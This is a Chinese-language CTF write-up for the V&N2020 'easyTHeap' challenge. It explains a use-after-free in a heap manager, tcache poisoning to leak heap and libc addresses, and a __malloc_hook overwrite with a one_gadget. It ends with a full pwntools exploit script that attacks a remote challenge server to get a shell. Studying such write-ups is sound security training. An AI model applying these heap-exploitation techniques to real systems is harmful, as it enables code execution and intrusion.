[V&N2020 公開賽]easyTHeap writeup

MrSkYe231發表於2020-10-24

基本情況

保護全開

[*] '/ctf/work/vn_pwn_easyTHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

基本堆管理器,有增刪查改功能。用 chunk_ptr_list 和 chunk_size_list 兩個連結串列維護堆,堆數量實際上不由兩個全域性變數控制,而是受限於 chunk_ptr_list 是否有空位寫入。全部功能操作都是基於下標去兩個連結串列尋找對應地址操作的。

漏洞

在釋放的時候沒有將 chunk_ptr_list 對應位置置零,造成 UAF :

if ( v1 < 0 || v1 > 6 || !chunk_ptr_list[v1] )
exit(0);
free((void *)chunk_ptr_list[v1]);
chunk_size_list[v1] = 0;                      // chunk_ptr_list 沒有置零

注意一點是 chunk_size_list 對應位置被置零了,也就是不能使用 edit 功能寫入:

printf("content:");
read(0, (void *)chunk_ptr_list[v1], (unsigned int)chunk_size_list[v1]);

思路

  1. 洩露堆地址,計算出 tcache struct 地址
  2. 修改結構體中對應 size 的數量標誌位,將堆釋放進 unsorted bin 洩露出 libc 地址
  3. 將 tcache 相關數量標誌位恢復,將鏈頭地址修改為 malloc_hook ,後面就是常規操作

為記筆記方便,下面所有地址均不是同一執行除錯所得 Orz

當程式釋放第一個堆進 tcache 時會申請一塊 0x240 的空間放 tcache struct ,裡面記錄各個 size 的數量和鏈頭地址。

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5250
Size: 0x91

然後連續兩次釋放 chunk0 ,chunk0 fd 指標就會記錄自己的地址。(tcache bin 中不會崩):

pwndbg> bin
tcachebins
0x90 [  2]: 0x55555656b260 ◂— 0x55555656b260

用程式查詢功能洩露地址,其與 tcache struct 偏移固定的。

再申請相同 size 的堆,分配的是 chunk0 所在的空間,通過 edit 將 chunk0 fd 覆蓋為 tcache struct ,兩次分配後將堆分配到結構體上面。

順便 gdb 記一下結構體內容,因為需要對應修改某個地址的值,達到修改某個 size 對應的連結串列。當申請的 size 時,需要修改的位置也會不一樣。

image-20201019011117803

這裡將 0x01 修改為 0x07 (MAX_NUM) ,到達上限後再釋放一個堆就開始放入 unsorted bin 。釋放 chunk0 ,show 洩露 libc 地址。

完事後,edit chunk3 將結構體 0x07 恢復為 0x01 ,鏈首地址修改為 malloc_hook 地址,形成這樣的效果:

# tcache bin 0x90 這條連結串列中只有 1 個堆,地址為 malloc_hook
pwndbg> bin
tcachebins
0x90 [  1]: [malloc_hook地址] ……

這樣下次分配就會分配到 malloc_hook 。實測後這個題目需要結合 realloc 調整棧幀環境,讓 onegadget 生效。

EXP

下面這個指令碼是成功攻擊遠端的,與前面原理一樣,只是做題的時候在 docker 環境做 main_arean 的偏移算出來和遠端的 18 不相同。。。

這裡就直接將 tcache 全部連結串列數量都改了,然後將 malloc_hook-8 放到任意鏈首,然後申請對應大小的 chunk 就能分配到 malloc_hook 上了

from pwn import *
context(log_level='debug',arch='amd64',
	terminal=['tmux','sp','-h'])

# p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./vn_pwn_easyTHeap"], env={"LD_PRELOAD":"/glibc/2.27/64/lib/libc.so.6"})
# libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./vn_pwn_easyTHeap")
p = remote("node3.buuoj.cn",28954)
libc = ELF("./libc-2.27.so")

def new(size):
	p.recvuntil(": ")
	p.sendline("1")
	p.recvuntil("?")
	p.sendline(str(size))
def edit(id,content):
	p.recvuntil(": ")
	p.sendline("2")
	p.recvuntil("?")
	p.sendline(str(id))
	p.recvuntil(":")
	p.send(content)
def show(id):
	p.recvuntil(": ")
	p.sendline("3")
	p.recvuntil("?")
	p.sendline(str(id))
def delete(id):
	p.recvuntil(": ")
	p.sendline("4")
	p.recvuntil("?")
	p.sendline(str(id))

new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))

new(0x50) #1 -> chunk0
edit(1, p64(heap_base - 0x250))
new(0x50) #2 -> chunk0
new(0x50) #3 -> tcache struct
edit(3, 'a'*0x24)

delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0#0x3afca0
log.info("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc = libc_base + libc.sym['__libc_realloc']
log.info(hex(realloc))
one = libc_base + 0x4f322
new(0x100)#4 -> tcache struct
edit(4, b'b' * 0x60 +  p64(malloc_hook - 8))
# gdb.attach(p)
new(0x50)
edit(5, p64(one) + p64(realloc+8))
new(0x10)
p.interactive()

相關文章